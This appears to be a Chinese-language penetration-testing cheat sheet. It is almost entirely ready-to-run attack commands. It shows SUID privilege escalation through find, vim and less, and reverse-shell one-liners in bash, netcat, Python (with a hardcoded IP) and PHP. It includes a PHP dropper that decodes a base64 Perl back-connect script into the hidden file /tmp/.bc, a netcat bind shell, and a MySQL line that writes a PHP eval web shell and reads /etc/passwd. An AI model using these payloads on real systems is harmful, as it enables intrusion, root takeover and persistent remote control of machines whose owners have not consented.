0%

渗透合集

提权相关

查看系统上运行的所有SUID可执行文件

1
2
3
$ find / -user root -perm -4000 -print 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
$ find / -user root -perm -4000 -exec ls -ldb {} \;

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

1
2
$ touch pentestlab
$ find pentestlab -exec whoami \;
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。 在被攻击机执行
1
$ find pentestlab -exec netcat -lvp 被攻击机监听端口 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。

在攻击机执行

1
$ netcat 被攻击机ip 被攻击机监听端口
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1
2
3
4
vim.tiny /etc/shadow

:set shell=/bin/sh
:shell
Less和More都执行以用来提权。
1
2
$ less /etc/passwd
!/bin/sh

  1. 反弹shell相关

反向连接

  1. 使用bash

    1
    $ bash -i >& /dev/[tcp|udp]/攻击机ip/攻击机端口号 0>&1

  2. 使用nc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    $ nc -e /bin/sh 攻击机ip 攻击机端口号
    $ nc -c /bin/sh 攻击机ip 攻击机端口号

    -c shell commands as '-e'; use /bin/sh to exec [dangerous!!]
    -e filename program to exec after connect [dangerous!!]


    没有-e的情况:
    攻击机执行:

    $ nc -lnvp 攻击机监听端口号

    被攻击机执行:
    # 第一种
    $ /bin/sh | nc 攻击机ip 攻击机监听端口号
    # 第二种
    $ mknod /tmp/backpipe p
    或者
    $ mkfifo /tmp/backpipe
    $ /bin/sh 0</tmp/backpipe | nc 攻击机ip 攻击机监听端口号 1>/tmp/backpipe

    mknod 管道名 p,mkfifo 管道名
    都是创建管道的命令

  3. 使用python

    1
    2
    $ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.28.85.115',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    $ python -c "import pty;pty.spawn('/bin/bash')"

  4. 使用php 访问反弹

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    <?php
    function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
    }
    function execute($cfe) {
    $res = '';
    if ($cfe) {
    if(function_exists('exec')) {
    @exec($cfe,$res);
    $res = join("\n",$res);
    } elseif(function_exists('shell_exec')) {
    $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(function_exists('passthru')) {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $res = '';
    while(!@feof($f)) {
    $res .= @fread($f,1024);
    }
    @pclose($f);
    }
    }
    return $res;
    }
    function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
    }
    }

    $yourip = " 攻击机ip";
    $yourport = "攻击机监听端口号";
    $usedb = array('perl'=>'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    终端执行反弹
    1
    2
    $ php -r 'exec("/bin/bash -i >& /dev/tcp/攻击机ip/攻击机监听端口号")'
    $ php -r '$sock=fsockopen("攻击机ip",攻击机监听端口号);exec("/bin/sh -i <&3 >&3 2>&3");'

正向连接

1
2
3
4
5
6
7
8
9
10
11

被攻击机:
# 第一种
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
# 第二种
$ nc -lvvp 被攻击机监听端口 -e /bin/bash

攻击机:

$ nc 被攻击机ip 被攻击机监听端口

Mysql

写出文件

1
Select '<? php eval($_POST[密码]);?>' into outfile 'd:/wwwroot/1.php';

读取文件

1
select load_file('/etc/passwd');
恰饭,恰饭